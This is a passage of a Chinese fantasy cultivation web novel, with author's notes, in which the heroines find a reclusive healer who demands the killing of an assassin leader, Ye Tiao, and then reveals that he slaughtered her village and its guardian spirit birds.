他们自动略过昨晚的事,好似什么都没发生,唯独蔺九尘看了几眼正身肃坐的闻惊遥,纵使闻少主瞧着没什么异样,可身上那股压不住的草药味也足以告诉他,闻惊遥身上有伤。 不是海兽伤的,海兽造成的伤没这般严重。 蔺九尘不多问,几人匆匆用完膳,趁码头人还不多,慕夕阙祭出新买的船,几人上了船,她掌舵去往万里外的孤岛。 越疏棠走到前头,站在慕夕阙身旁说道:“那两座孤岛太大了,不过它们顺路,不如咱们兵分两路,几个人去一座岛伤,另外的人去另一座岛。” 慕夕阙应了声:“嗯。” 越疏棠沉默瞬,又道:“你为何会选中这两座岛,你确定梅枝雪在这里?” 慕夕阙道:“托人查的,不确定,试一试。” 托谁查的,她也没回答,越疏棠素来识趣,不会刨根问底。 这一路上不算太平,他们遇到了十几只海兽,但此番所有人都在,蔺九尘、闻惊遥和越疏棠很快解决,船一路向前,行到正午,抵达一座岛。 慕夕阙停下船,蔺九尘、姜榆、越疏棠和迟笙翻身跃下,他们四个都有修为,且修为不弱,在一起也有自保能力。 而师盈虚修为不高,慕从晚又是个凡人,闻惊遥和慕夕阙便是唯二能打的,四人乘舟去往据此千里外的另一座岛。 船到沙滩上,师盈虚先跃下,扶着慕从晚下了船,闻惊遥紧随其后翻身跃下,慕夕阙下来后将船收起。 四人站在岸边,看着这座孤岛,说是孤岛一点都不夸张,整座岛枝叶繁茂,艳花异卉比比皆是,慕夕阙上辈子钻过不少深山,最是了解这种地貌。 她转身,将避毒丸递给几人:“小心些,这里头瘴气太浓,怕是有毒蛇毒虫。” 慕从晚看着白雾缭绕的密林,问道:“医仙毕竟是人,她能在这里生活吗?” 慕夕阙头也不抬,替她缠好衣袖裤管,防止毒虫爬绕,闻言回道:“她是个奇人,说不定这满山的毒虫毒蛇还要怕她。” 师盈虚啧啧称奇:“我听说药谷的人养了一谷的毒物,就是为了拿去炼药,以毒攻毒,邪修大法,指不定这医仙更胜一筹呢。” 慕从晚罕见沉默。 闻惊遥抬眸,隐在丛中的小路像是多年未有人走过,早已被杂草掩埋,他干脆拔剑,一剑劈开拦路的荆棘丛,率先开路。 师盈虚扶着慕从晚走在中间,慕夕阙垫底,走在最后,路上还与蔺九尘他们联络了回,那边似也在找路,一切安好。 漫无目的地找,修士体力好能撑住,但慕从晚很快便脸色煞白。 慕夕阙只能原地停下,她看着远处,说道:“我用阵法搜一搜。” 闻惊遥颔首:“好。” 慕从晚抬眸,看到慕夕阙站至远处,她抬手熟练结印,不多时,金光滔天,兵分几路,沿着各个方外窜入地底,涌向四面八方,而她站在阵心,阵法威压卷起的罡风将几人的衣裳吹得猎猎作响,随着搜寻阵的范围越大,慕夕阙的脸色明显苍白。 师盈虚低声道:“地卦阵啊,这阵法可难学了,极烧灵力,听说十三州会的人虽然多,但只能搜百里内的踪迹,可夕阙竟能覆盖整座岛。” 慕从晚红唇微抿,慕峥是阵术大能,可慕夕阙并不通阵法,如今她连地卦阵这等难学的阵术都会,还如此熟练,像是用过上百次一般。 闻惊遥目不转睛看着慕夕阙,他学过简单的阵术,却并不精通这些高阶阵法,平生只专注练剑,很难想象一个剑修,到底要走到什么绝境,才必须要学这般多的东西。 没办法帮她布阵,闻惊遥只能走上前,掌心抵住她的后脊,青色灵力传给慕夕阙,她的身子僵了瞬,却并未回头,操控地卦阵去往这座岛的每一寸土地。 半刻钟后,慕夕阙忽然抬眸,闻惊遥反应极快,单手拽住她的胳膊,两人急速后退几十丈远。 一道流光从高处砸来,落在他们方才站立之处,闻惊遥抬手,青光聚成灵罩拦在身前,阻隔了炸开的碎石和泥土。 慕夕阙从他怀里退出来,冷眼看向东南侧,山巅之上,瘴雾遮挡了那人的身影,可她能觉察出,那个人在看他们。 医仙梅枝雪在几十年前曾独闯影杀,连夜迢都败在她手上,这事还是上辈子夜迢告诉她的,连越疏棠都不知晓,能有这般修为,或许在他们上岛的时候便已觉察出。 直到慕夕阙动手搜岛,还未探到山巅,她便出手了。 慕夕阙回身背起慕从晚:“她在山上。” 师盈虚赶忙跟上,边走边提防,生怕梅枝雪又打来一击杀招,方才连慕夕阙和闻惊遥都险些没躲过去,那梅枝雪也就是没出杀招,若动杀意,定是难缠。 可梅枝雪并未再出手,他们一路朝方才流光飞来的方向赶去,这一路虽有毒蛇猛兽,却能轻易应付,只是在瘴雾里待久了,慕从晚的脸色难免不好。 慕夕阙便只能更快些,背着慕从晚加速朝山顶跃去,师盈虚和闻惊遥跟在她身后,四道身影瞬移消失在密林中。 冲出密林,是一片开阔的泥地,应有禁制保护,瘴雾被拦在外面,中间一条小路容人通行,左右两边开出了药圃,种了些慕夕阙认不出来的植株。 这禁制只拦瘴雾,并不拦人,他们冲进禁制中。 路的尽头,一栋竹楼拔地而起,楼顶站着一人,玄色纱衣缥缈,连同及腰长发随风张扬,她的眉目秀丽,但眉宇间的霜雪意却掩不去,面无表情看着他们。 慕夕阙放下慕从晚,走上前拱手道:“前辈,抱歉,在下并非有意要打扰您清修,只是我阿姐身子羸弱,怕时日无多,实在忧心,于是便——” “进来。” 慕夕阙还未说完,梅枝雪纵身跃下竹楼,淡淡看她一眼,朝楼内走去。 慕夕阙愣了下,忙背起慕从晚上前,匆匆进了竹楼。 闻惊遥和师盈虚跟在身后,正欲抬步跟上,一道罡风挥来,将两扇门合上。 “你们等着。”梅枝雪的声音自里头传来。 闻惊遥并未追问,退后几步,安静站在院内。 听说这医仙脾气古怪,师盈虚也不敢胡乱开口惹她不快,万一生气不治了呢,她咬牙,也站远了些,席地坐在台阶上。 楼内药味浓郁,陈设简单,屋里还煮着药,梅枝雪上前添了一壶凉水,顺手指了指前方的竹椅:“将她放上去。” 慕夕阙颔首:“多谢前辈。” 她将慕从晚放下,那些雾气格外诡异,慕夕阙已尽力用灵力屏蔽,它们却总能从犄角旮旯窜进来,慕从晚难免吸入了些,此刻脸色白中泛青,连话都说不出。 一个瓷瓶被用灵力旋转推来,慕夕阙抬手接住。 梅枝雪道:“给她喂下。” “多谢。”慕夕阙道谢后,匆匆给慕从晚喂下,一颗丹药下肚,她的脸色以肉眼可见的速度好转。 梅枝雪盖上药盅,侧眸看过来,只扫了眼慕夕阙,便看向慕从晚,她上下打量,连脉都没诊治,便说道:“你身上有秽毒。” 慕从晚坐直,微微颔首:“是。” 梅枝雪道:“鹤阶为何没杀你?” 慕从晚安静了瞬,温声道:“我爹娘在我尚未修行前斩断了我的灵根,奉上慕家五分之一的地产和商业,答应将我终生囚禁不得外出,鹤阶便松口了。” 梅枝雪点点头:“你是慕家人,怪不得,我觉察出了十二辰的气息,在你妹妹身上。” 慕夕阙和慕从晚并未开口,沉默应下。 梅枝雪轻飘飘道:“你的灵根我能接,可你若是接上灵根,那么一旦引灵入体,日后哪日你的秽毒发作,以你的天资定会为祸一方。” 慕夕阙脸色一沉。 慕从晚倒是平静,微微颔首:“是,所以我的意思是不用治疗。” 慕夕阙匆匆道:“前辈,我听闻您可以祛除秽毒,您——” “我可以。”梅枝雪说道,不等慕夕阙追问,她又补充,“秽毒侵入经脉,一旦入体难以拔除,尤其是修行过的修士,秽毒会随着灵力游走,侵入他们的丹田,这种人救不了,只能杀,可你姐姐尚未正式修行便被斩断了灵根,秽毒沉寂在经脉中尚未入丹田。” 梅枝雪顿了顿,沉声道:“理论上来说,洗髓可以拔除她的秽毒,但我并未试过,很难保证她能活。” 洗髓,慕夕阙喉口一梗。 梅枝雪淡淡收回目光:“要不要试试,不试试能活个十几年,试了有九成概率会死,十几年都活不了。” 慕夕阙低头,呼吸刺痛,她平生一贯有主意,遇到什么都能冷静思索对策,并迅速做出决定,可此刻却仿佛前面是条悬崖,一步也不敢迈。 “那就试试。”温温柔柔的声音响起,慕从晚温声回答。 慕夕阙倏然看她,慕从晚仰头与她对视,握住她的手:“那就试试吧,听天由命,小夕。” “洗经伐髓痛苦异常,你——” “我知道,没事的。”慕从晚拍了拍她的手背,“小夕,你不想失去我,我也想多陪你们一段时日,为了这个可能性,我也愿意去试试。” 慕夕阙咬紧牙关,她的手在抖,可慕从晚仍耐心专注看着她。 许久后,慕夕阙深吸一口气,说道:“好,那就试试。” 梅枝雪道:“我不白医人。” 慕夕阙摘下腰间乾坤袋:“前辈,这是百万金,您看看够不够,若不够我再托人回去——” “我不要钱。”梅枝雪一口否决。 慕夕阙怔然问:“那您要什么?” 梅枝雪看着她,说道:“我要你帮我杀个人。” 慕从晚眉心微蹙:“前辈,这是否有些不妥,若是无辜者的性命,那我也不必医治了。” 双目相对,慕夕阙收回了乾坤袋,淡声问:“您要杀谁?” 慕从晚皱眉:“小夕,别——” 慕夕阙按住她的肩膀,将正要起身的她又按了回去,看着梅枝雪又问了遍:“您要杀谁?” 梅枝雪冷声道:“夜迢,影杀阁主。” “为何不自己去杀?您的修为并不弱。” “我出不了岛,你有十二辰,外头那小子有天罡篆,你们可以杀。”梅枝雪并未解释过多,只简短回答。 两人僵持片刻,慕从晚被慕夕阙按住,也不能贸然开口,她忧心看着妹妹,慕夕阙却冷静十足,点头应下:“好,我去杀。” 慕从晚冷声道:“小夕,夜迢修为不弱,他已是大乘境,何况洗经伐髓我也未必能活下来,我们走吧。” 慕夕阙并未回她,反而走上前,离梅枝雪只剩一步距离,她看着梅枝雪冷淡的双目,说道:“你知道他在何处?前些时日他在十三州。” 梅枝雪道:“他已回海外仙岛。” 说着,她转身看向敞开的窗,窗外郁郁葱葱的林影被瘴* 雾遮挡,她低声说:“怕是已追着你们来找我了。” 慕夕阙皱眉,还未静心思考她的话,腰间玉符亮起,来信是蔺九尘。 心跳莫名一滞,她赶忙接通,那边嘈杂混乱的声音传来。 “小夕,我们遇上影杀阁主了,夜迢在这里!” 作者有话说:来喽来喽,今天发个红包[撒花] 剧情在收尾啦,大概很快写到前世,开文前大纲设定只有小慕在这时候知道一切,小闻知道得较晚,前几天准备开始写海外仙岛的副本时,就有意向调整一下进度了,昨天问了一下,我看大家的意向跟我差不多,所以决定提前一下小闻知道前世的进度,小闻也会在这时候知道的,这样可以更好地收尾[撒花] 第72章 第 72 章 “他斩杀了我们的玉灵!…… 这座岛上瘴雾倒没那般严重, 毒虫蛇蚁也不多,其实是个宜居的岛屿,但或许离祭墟太近, 加之海兽旋涡过多,因此成了座孤岛。 但蔺九尘几人都是修士, 灵力能完全抵御这点瘴雾, 只是这座岛太大了,盲目寻找似乎并无成效,走了将近两个时辰也没见到有人涉足的地方。 见迟笙也疲态明显, 姜榆咬牙说道:“我用阵法搜吧,地卦阵我会的。” 蔺九尘皱眉:“那阵法极烧灵力。” 姜榆却已抬手结印,金色灵力以她为中心向四面八方涌去, 蔺九尘只能打入灵力帮她布阵, 他们四个人中只有姜榆会阵术。 越疏棠和迟笙分站两侧, 在影杀待久了, 多少沾了些习惯, 无论何时都得警惕。 姜榆闭眼,操控灵力去往这座岛上的每一寸地方,她能感知一条毒蛇的爬动, 一只蝉的嗡鸣,一朵花的摇晃, 灵力巡视范围越来越广。 见她的脸色越来越白, 越疏棠走上前,也忍不住开口:“姜姑娘, 若不歇息一番——” 话还未说完,姜榆陡然睁开眼,一把推开靠近的越疏棠和迟笙, 而蔺九尘也反应迅速,拽住姜榆急速后退。 从远处砸来的剑光炸开,崩裂一片泥地。 姜榆转身便往山上跑,边跑边喊:“快走,影杀阁主来了!” 越疏棠脸色一变,抓紧迟笙的手带着她跑,厉声喊:“跑不过他的,他很快便能追上来,赶紧给慕二小姐传信!” 蔺九尘早已拿出玉符联络慕夕阙,急匆匆说道:“小夕,我们遇上影杀阁主了,夜迢在这里!” 几乎在他刚传完信,西南侧挥来的刀光凛然急速,转瞬间到了眼前,蔺九尘只来得及扑倒姜榆,堪堪躲过那道刀光,它擦着面门而过,削掉他一缕鬓发。 越疏棠也抓着迟笙后撤,几人反应迅速,聚在一起。 孤岛无人踏足,有人踩着及腰的杂草走来,有无形的灵力在前方替他开路,很快,高挑的身影便出现。 夜迢有将近百岁了,但生得像凡人二十来岁的模样,模样有些诡谲的美,常一身红衣夺目耀眼,可他常年在影杀阁内鲜少出门,十三州和海外仙岛见过他模样的人不多。 蔺九尘和姜榆都见过,攻杀慕家那次,夜迢也在。 他走过来,红衣上绣的金线勾勒成繁复的图案,这衣裳大多数人穿出来兴许会觉得夸张,但五官浓丽的人穿着却如同量体打造般。 越疏棠将迟笙护在身后,警惕盯着夜迢,影杀对待叛徒的手段暴力残虐,在夜迢眼里,她们早已是影杀的叛贼。 可夜迢却只是轻飘飘看了她一眼,目光好似越过越疏棠,在看她身后的迟笙。 “昨夜动静闹得那般大,也多亏你出了海。”夜迢笑了下,明艳的眼睛弯起,“影杀告知我有人出海救人,我一听便觉得是你,远远看了眼,果然啊,你们来了,以为遮住脸我便认不出来了?” 在他面前,易容术都无用,更何况只是面罩遮脸。 迟笙脸色一白,没想到她冲动救人反而暴露了他们的行迹。 越疏棠却挡在她身前,将她牢牢遮住,握紧手中的剑:“海兽动乱,是你搞的鬼?” “我又为何要告知你,吃里扒外的东西。”夜迢淡淡开口,已经全无过去的温和,这张脸一笑起来,像只披了人皮的艳鬼。 蔺九尘和越疏棠站至最前面,警惕看着夜迢,思索要如何离开,以他们的修为对上一个大乘境,毫无胜算。 夜迢却猛地收敛笑容,冷声道:“你们带了慕从晚来海外仙岛,是打着寻医仙的目的吧,梅枝雪在何处,既然敢来这两座孤岛,是得知她的消息了?” 蔺九尘听明白了:“你昨夜便发现我们来了,却并未动手,是想追着我们寻医仙?” 夜迢身影一晃,转眼逼上前,蔺九尘拔出长刀劈过去,可夜迢却已抽身离去,单手还扣着一人。 “阿榆!” “姜姑娘!” 蔺九尘逼上前,夜迢却旋身退后轻易躲开他的刀光。 姜榆被他扣在身前,他单手掐住她的脖颈,顷刻间,姜榆的脸色便转为乌紫,她掐住夜迢的手背,指甲在他手背上留下道道掐痕,夜迢却毫不在乎。 “我再问一遍,你们如何得知梅枝雪的下落,她在何处?”夜迢冷下脸,虎口卡住姜榆的颈项,抵着她的命门。 蔺九尘不敢上前,生怕他用力折了姜榆的脖子,他握紧刀柄,说道:“我们托人查的,只知道医仙在这两座岛上出没过,并不知道她具体在哪一座岛。” 夜迢弯眸一笑:“这样啊。” 他单手用力,便要掰断姜榆的脖颈,蔺九尘厉声道:“我们还有医仙的下落!” 夜迢虎口一松,蔺九尘匆匆看了眼被掐到几乎窒息的姜榆,他稳住心神,迎上夜迢的目光,冷声道:“你要找她不是吗,医仙只是在这两座岛上出现过,但我们托人查的,还有另外两座岛屿,若你敢杀了我师妹,那你就自己去找吧。” “威胁我?”夜迢笑了下,“凭你?” “是在威胁你,你杀了我们所有人也无所谓,小夕是绝对不会告诉你医仙的下落,届时你便自己去寻吧。”蔺九尘不躲不避,冷静回他。 夜迢面无表情,扣住姜榆脖颈的手却明显松了些,隔着一段距离,他冷眼看着蔺九尘,在掂量他的话有多少可信度。 安静了约莫半刻钟,夜迢似乎想明白了,嗤笑一声:“是啊,我就算不杀你们,以慕夕阙的性子也绝不会告诉我。” 他的虎口用力,便要扭断姜榆的脖颈,蔺九尘的瞳眸微颤,越疏棠却纵身跃上,抬袖挥去,银针如飓风般射出,那些暗器太过细小,肉眼几乎看不到,一根没入夜迢的手腕,趁他皱眉松力之时,蔺九尘快步上前,一把扯过姜榆。 越疏棠拔剑攻上,迟笙紧随其后,蔺九尘也来不及顾上姜榆,黑影一闪加入战局。 越疏棠和蔺九尘已至元婴,迟笙为金丹,夜迢的左手受伤无法用劲,大乘境的修士,只靠右手也足够逼退他们三人,只过了几招,夜迢一掌祭出,罡风将三人逼退。 蔺九尘漠然擦去唇角的血,越疏棠和迟笙也快速站起。 夜迢站在远处,抖了抖流血的左手,逼出一根细如牛毛的银针,他低头看去,勾唇笑了下。 “倦天涯的暗器,是慕夕阙给你的吧,才相处多久啊,与她的关系倒是好起来了,影杀养你多少年,怎么就胳膊肘往外拐了?” 不等越疏棠回答,夜迢早已恼怒,灵力在手中凝出长刀,他骇然挥刀,刀光裹挟满地尘土和落叶,犹如卷龙般呼啸朝他们奔来,根本不给蔺九尘他们反应的时间。 夜迢已彻底动了杀心。 铮然一声嗡响,从侧方射来的利箭带出火焰,撞击在行至半路的刀光,炸开的威压荡平四周的杂草,将山石崩裂。 余压抵达蔺九尘身前时,青衫少年不知从何处冲出,青色灵力凝成屏障,挡去所有威压。 夜迢抬眸看去,慕夕阙站至远处的一株古树上,抬手撤去了弯弓,而蔺九尘几人的身前,闻惊遥也已抵达,长身玉立,安静看着夜迢。 来得可真快,夜迢眼眸微眯,随着一阵风吹来,裹挟了一缕熟悉的草药香,他怔然了瞬,猛地看向慕夕阙。 “你身上有她常熬的药粥味,你去过她的住处。” 慕夕阙没回答,撇了眼迟笙怀里的姜榆,她的脖颈上一圈发紫的掐痕已然肿起来。 夜迢追问:“你从那座岛来的,她是不是——” 话还没说完,慕夕阙已经冲下来,化神虽然比不得大乘,可她手握十二辰,十二辰早已打开,她劈剑而下,剑身上裹挟了朵朵莲瓣。 夜迢侧身避开,而闻惊遥也已纵身上前,两人好似并肩打过无数场架一般,对彼此的招式熟悉,攻守得当,毫无破绽。 夜迢竟被逼得有些束手束脚,一连打了半刻钟,从山腰打到山脚,他没工夫再打下去,冷冷看了眼慕夕阙和闻惊遥,一甩宽袖,毒雾随风逼去。 追来的越疏棠冲上前来,对影杀的招式反应极快,布阵抵挡。 而夜迢也已跃至海面,祭出一艘船,掌舵冲向距此千里外的另一座岛,他用灵力催动这条船,眨眼间便已消失不见。 慕夕阙也已上船,蔺九尘背着姜榆,和越疏棠几人跃上。 夜迢应是做了什么手脚,附近海域的海兽全都冲来阻拦,闻惊遥、蔺九尘和越疏棠只能不时拦杀,他们的速度慢了不少,竟远远追不上夜迢。 迟笙沉声说:“抱歉,慕二小姐,是我疏忽冲动,孤身去救人,暴露了咱们的踪迹。” 慕夕阙头也不回:“跟你没关系,暴露是迟早的事。” “医仙确实在那座岛吗?” “嗯。” 迟笙上前,接过慕夕阙的舵盘:“我来开,我出过不少次海,二小姐去帮忙应付海兽吧。” 慕夕阙便果断撒手,和闻惊遥他们解决海兽。 师盈虚和慕从晚还在那座岛上,梅枝雪虽出不了岛,但修为不弱,纵使夜迢赶过去,但只要师盈虚和慕从晚不出那栋楼,应当能坚持一阵。 可慕夕阙还是免不了心急,她不确定梅枝雪会不会保护她们,不确定如今的夜迢和梅枝雪谁的修为更高,越是心急出手便越是迅速,一剑能掀飞几只海兽。 船在两刻钟后抵达岸边,慕夕阙连船都来不及收,跃下便往山顶跑,闻惊遥紧紧跟着她。 越疏棠将船收进乾坤袋,几人匆忙追着他们离开的背影冲上山。 瘴雾比他们离开的时候还要浓郁,似是被人故意催化的,为了拦谁,目的明显。 夜迢确实被拦住脚步,纵使慕夕阙几人比他晚到起码一刻钟,却几乎前后脚到了梅枝雪的住处外,可他被梅枝雪的禁制阻拦。 夜迢抬眸看向里头的竹楼,大门紧闭,他知道屋内有人,或许在此刻,她就在看着他。 长刀凝出,夜迢周身的罡风大涨,宽袍被风鼓动烈响,刀身上环绕灵力,一刀重重砸在梅枝雪的禁制上。 禁制晃动了下,一条细密的裂纹浮现,慕夕阙赶忙护着蔺九尘他们退后躲开余压,站定看去,夜迢跟疯了一般不断在砍梅枝雪的禁制。 太过疯狂,他周身的余压让慕夕阙和闻惊遥根本无法贸然靠近,一连砍了十几刀,咔嚓几声,如同蛛网般的裂纹爬上结界,迅速蔓延,化为齑粉。 夜迢抬步便要往里冲,慕夕阙和闻惊遥纵身追上,却始终落后他几步,在夜迢即将抵达竹楼前,紧闭的大门被从里挥出的罡风击碎,破裂的木板砸向夜迢。 他侧身躲开,垂眸看着那两块木门砸到地上,化为满地碎屑。 梅枝雪从里头走出,并未看夜迢,而是看向慕夕阙和闻惊遥。 “你们两个今日若给我杀了他,我即刻救你阿姐。” 慕夕阙不知她为何不自己动手,她出不了岛,但夜迢已来。 她也不打算问,梅枝雪的话音落下,慕夕阙便已拔剑冲上前,闻惊遥也纵身跟上,两人压着夜迢打,一路朝远离竹楼的方向逼去。 一个大乘境跟两个手持神器的化神境打,双方都下了杀招,蔺九尘几人都插不上手。 慕从晚从屋内走出,师盈虚跟在她身后,而梅枝雪安静站在楼前,无论他们打架毁了她多少药圃,她一眼未看。 蔺九尘几人赶来,上下瞧了瞧慕从晚,确定她并无伤,心下松了口气。 慕从晚问道:“前辈,你为何不自己动手?” 梅枝雪淡声道:“杀他会脏我的手。” 慕从晚没说话,师盈虚皱眉,心下嘀咕那就不脏慕夕阙和闻惊遥的手了吗,但这医仙脾气太怪了,她生怕自己说错话惹医仙不虞,从来这里就闭嘴不吭声。 那边打得火热,夜迢有无数次想朝梅枝雪这边奔来,又被慕夕阙和闻惊遥拦住,以至于他也烦躁恼怒,出手愈发狠辣,毫不顾忌自己的性命。 慕夕阙和闻惊遥身上都已挂了伤,几人看得焦急,唯独梅枝雪面色淡然。 在慕夕阙又一次被夜迢的刀砍伤,血汩汩流出,而她眼也不眨一脚踹上夜迢的胸口,挽剑如星,急速攻去。 慕从晚垂下眸子,双手揪起:“前辈,我不想治了,要杀的人您自己去杀吧。” 她说完,转身便要往外走,若让慕夕阙赌上自己的命去杀一个劲敌,只为了给她搏这一成生机,慕从晚只觉得来这一遭便是个错。 梅枝雪终于开口:“你就不想问问我为何一定要杀他吗?” 慕从晚站定,沉声道:“不想知道,也不想治了,请让我阿妹回来。” 梅枝雪放下茶盏,看向远处被两人缠住的夜迢,见她看过来,夜迢明显一怔,也就是这一息功夫,让闻惊遥找准机会捅了他一剑,长剑刺入左胸,离心口只有一寸之遥。 夜迢反应过来,迅速后退,慕夕阙和闻惊遥却又紧追不舍攻去。 梅枝雪道:“他杀了两只玉灵,他杀了我们村的玉灵,他的手上有玉灵的命。” 几人倏然看去,梅枝雪垂眸,如霜如雪的眉目中有难掩的郁色,她盯着地上的青砖,轻声说:“玉灵可以护佑百万人,也可以住在一个小山中,只庇佑一个村镇,有些玉灵的体型并不庞大,也并未有许多人知道,就像我们的玉灵。” “它们叫比翼鸟,两只玉灵护佑我的族人,直到他来了。” 梅枝雪握紧拳头,指甲深深陷进掌心中,她抬眸看向惊愕的蔺九尘他们,音量拔高,声嘶竭力。 “他斩杀了我们的玉灵,剖出了它们的心脏!” 作者有话说:比翼鸟在山海经里是凶兽,但是在博物志以及后续的许多神话故事里,大多是瑞兽,象征兄弟情或者爱情的神兽,现在大多理解为爱情,形象在不同的朝代也有不同的记载,不过咱们这里玉灵都是好的,是天神赐予人间的福泽~ 第73章 第 73 章 兰洵 那边打得火热, 这边鸦雀无声。 梅枝雪这样的人,瞧着坚韧无匹,就如同慕夕阙一般, 很难想象会流泪,可如今在面对几个外人, 两行清泪沿着眼眶坠落, 她闭上眼,微微垂首,泪珠滑在下颌上, 滴落在泥地中。 “他杀了比翼鸟,他杀了我们的玉灵。” 这声音太过低沉,蕴含了几十年的苦痛。 几人沉默, 便是慕从晚也无话可说, 涉及玉灵, 即使是海外仙岛的玉灵, 十三州也无法袖手旁观。 这场打斗中, 夜迢也已遍体鳞伤,梅枝雪站在远处,他总分心给她, 让慕夕阙和闻惊遥逮到不少机会钳制他。 在又一次被捅伤后,夜迢恼怒, 一挥宽袖, 灵力大涨,化为罡风卷起落了满地的药草和泥土朝两人挥去, 而他趁两人闪躲之际朝梅枝雪掠去。 蔺九尘皱眉,侧身便要上前阻拦。 方才始终未动的梅枝雪终于有了反应,她似乎格外厌恶夜迢的靠近, 玄色纱衣卷起罡风化为切肤的利刃,重重打在夜迢身上。 夜迢踉跄几步,却并未躲开,他抬眸看着梅枝雪,慕夕阙和闻惊遥也已经追来。 两人正欲攻上,梅枝雪抬手,一道罡风拦在两人身前,她看着夜迢冷声道:“你身上有那两只玉灵的灵气,说。” 也正是夜迢靠近,她才觉察出了比翼鸟的气息,时间过去太久,它们的气息已经格外微弱。 夜迢身上淌血,他看着梅枝雪,以一种近乎贪婪的目光盯着她,太多年没见,她还是如以前那般圣洁清丽,可那双眼睛却再也不如过去般温和,而是挟冰含霜般冷淡。 梅枝雪忽然瞬移上前,一把掐住夜迢的脖颈,她单手用力,咬牙切齿道:“我让你说,为什么你身上会有它们的气息!” 她的虎口卡在他的命门处,夜迢呼吸不畅,但被她靠近后仍是红了眼,他抖着手握住她的手腕,梅枝雪没动,只冷眼看着他。 “你终于肯看我一眼了,阿雪。”夜迢垂眸,一颗眼泪快速坠落,滴在梅枝雪的手背上,“它们的心脏在我这里,我还未炼化。” 梅枝雪的手在抖:“比翼鸟的心脏呢……给我!” 慕夕阙皱眉,能隐约看出他们之间有过一段过往,并不觉得梅枝雪对夜迢有旧情,敢杀害玉灵,便注定他们这段关系不会善终,她只是在想,夜迢杀害玉灵到底为何? 那黑衣人应是与玉灵有仇,但夜迢呢? 无人说话,也无人动,几人看着梅枝雪和夜迢,随着梅枝雪在无意识用力想要掐死夜迢,梅枝雪的脸色也明显苍白。 慕夕阙终于意识到不对,瞬移上前,扣住梅枝雪的肩膀将她拽出来,她的手乍一离开夜迢的脖颈,夜迢呼吸顺畅,猛地咳嗽起来,却又惊恐地上前想要抓住梅枝雪。 闻惊遥拦在了他面前,一掌打在他肩头,将他的肩胛骨捶碎,重重砸在石墙上。 慕夕阙看着梅枝雪:“你和他结了契约,不得伤害彼此?” 梅枝雪惨笑一声,越笑声音越大,她弯下腰,呕出一口血,盯着那摊血却仍在笑,像是在嘲讽自己。 “对啊,他来村里求医,我们接待了他,我蠢到相信他,跟他做朋友,缔结契约,我们说好要信任彼此一辈子,绝不能对对方动一刀一剑,所以在我族人为了保护比翼鸟尽数死去的时候,我竟然连打他一巴掌都做不到。” 怪不得,她的修为明明不弱,面对如此深仇大恨,竟然假手于人,要慕夕阙来替她报。 师盈虚看了不少话本子,也算是捋明白了,小心跟慕从晚说:“应该是渣男骗感情,利用医仙对他的情谊暗中谋害,两人陌路,渣男悔恨,舔着脸故作深情来妄图求得原谅,好不要脸。” 慕从晚沉默,并未让师盈虚注意措辞,默认了她的辱骂。 夜迢捂着肩膀,遥遥看着梅枝雪,他看不到拦在他们中间的闻惊遥和慕夕阙,目光全数落在梅枝雪身上。 “阿雪,比翼鸟的心脏在我这里,你不是想复生它们吗?” 慕夕阙皱眉,盯着夜迢,却并未在他脸上看到虚伪诱骗。 梅枝雪仍垂着头,掩在袖中的手却攥紧。 夜迢站直身子,声音变柔,近乎在蛊惑:“你什么时候回的海外仙岛,你回来干什么呢,是寻到办法复生玉灵了吗,也是,它们集结天地灵气诞生,只要你留住它们的一缕精魂,天神还会再次将它们还回来的。” “它们的尸身埋在这座岛上,所以你守着一座毒虫蛇蚁肆虐的岛屿,始终不肯离开,是吗?” 梅枝雪未动,师盈虚几人却齐齐一怔。 迟笙缓缓垂眸,看着自己脚下的这座岛,愣愣问:“玉灵是天地灵气聚成的,死后……尸身不是会消散吗?” “怎么会消散呢?”梅枝雪苦笑一声,她缓缓抬头,泪痕挂了满脸,盯着夜迢咬牙切齿,“它们也是生灵,它们有血有肉,也知道疼痛,死后也会腐败糜烂,你却剖出它们的心脏,为了你一己私欲!” 闻惊遥冷声问道:“前辈,他为何要屠戮玉灵?” 梅枝雪吼道:“为了他的弟弟妹妹!为了用比翼鸟的心脏救活他重病的阿弟和阿妹!” 夜迢笑起来,他看着梅枝雪,边笑边看,那笑有些癫狂,让人看得不适,连那张称得上好看的脸都变得狰狞起来。 梅枝雪站直身子,一字一句道:“山灵在成为玉灵后,便算与天神分割了,此后它们的力量大多来自于百姓的供奉,我们村只有几百人,能给它们供奉多少力量?可两只比翼鸟却宁愿令自己虚弱,也守在了那座小山里,替我们抵挡天灾,让我们远离俗世。” “两只并不强大的玉灵,却有两颗圣洁纯粹的心脏,传闻能治百病,连死人都能活,他杀不了强大的玉灵,就来打比翼鸟的主意!” 夜迢还在笑,不知在笑什么。 蔺九尘眉心紧蹙,问道:“您不是医仙吗,他不能找你寻医,何必要杀玉灵?” 梅枝雪却回头看他,她的眼睛通红,夹杂的恨意让蔺九尘也怔愣了瞬。 “我只是人,我如何能救一个魂魄都快散完了的人?他那胞弟胞妹先天不足,能活到十几岁已是不易,我用尽心血医治他的阿弟阿妹,硬生生让他们多活了五年,可夜迢做了什么!” 夜迢带着重伤的胞弟胞妹来到这座隐居的村子里求医,梅家村世代行医,有不少出名的医修都姓梅,却不知来自哪里,但夜迢查到了这个村子,找到了村子里医术最好的人,梅枝雪。 梅家村收留了这三人,梅枝雪用了五年去医治兄妹两个,可医者非神仙,总有自己救不活的人,于是夜迢打上了这两只玉灵的主意。 “他在一个深夜,闯进了后山,他斩杀了其中一只玉灵,比翼鸟惨痛的啼鸣声让我们村的人都惊醒,于是他杀疯了眼,将试图保护玉灵的百姓们尽数屠戮,将重伤的另一只玉灵也斩于刀下。” 夜迢剖出了两只玉灵的心脏。 梅枝雪也笑起来,霜白的齿上染了血垢,她说道:“我伤不了他,可他也没想到吧,他那胞弟胞妹离了我的医阵,一刻钟内先后离世,纵使他拿了比翼鸟的心脏,也无济于事。” 夜迢站直身子,伤口在淌血,他却蹒跚着朝她走来,边走边说:“阿雪,我错了,你想要比翼鸟的心脏不是吗,我可以给你。” 他走到一半,却又被闻惊遥和慕夕阙挡住,两个年纪不大的小辈冷静看着他,夜迢脸色冷淡,轻飘飘道:“滚开。” 慕夕阙和闻惊遥并未答话,梅枝雪却在此刻开了口:“你想要什么?” 在面对梅枝雪时,夜迢的脸色瞬间回春,他看着她:“婚契,我要婚契,我们未来得及缔结的婚契。” 他说着便要上前,慕夕阙这次恼怒了,一掌打上去,将他逼退十几步远。 夜迢冷眼看过来:“慕夕阙,我让你滚开!” 